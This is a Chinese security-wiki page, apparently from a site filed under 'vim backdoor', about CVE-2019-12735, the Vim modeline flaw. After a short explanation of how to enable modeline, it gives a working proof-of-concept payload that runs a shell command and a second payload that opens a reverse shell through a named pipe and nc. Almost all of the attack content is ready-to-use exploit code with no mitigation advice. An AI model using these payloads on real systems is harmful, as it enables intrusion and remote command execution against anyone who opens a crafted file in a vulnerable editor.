menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 002-vim 后门 chevron_right 001-(CVE-2019-12735)vim modeline.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-(CVE-2019-12735)vim modeline.md
    766 B / 2021-07-17 00:01:42
        # (CVE-2019-12735)vim modeline
    
    该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。 开启:
    
    ```bash
    vim ~/.vimrc
    //文件内容为
    set modeline
    
    ```
    
    ```bash
    poc:
    :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
    
    ```
    
    ![](images/security_wiki/15905492392371.png)
    
    
    反弹shell:
    
    ```bash
    :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1  9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
    
    ```
    
    ![](images/security_wiki/15905492467713.png)
    
    
    
    
    links
    file_download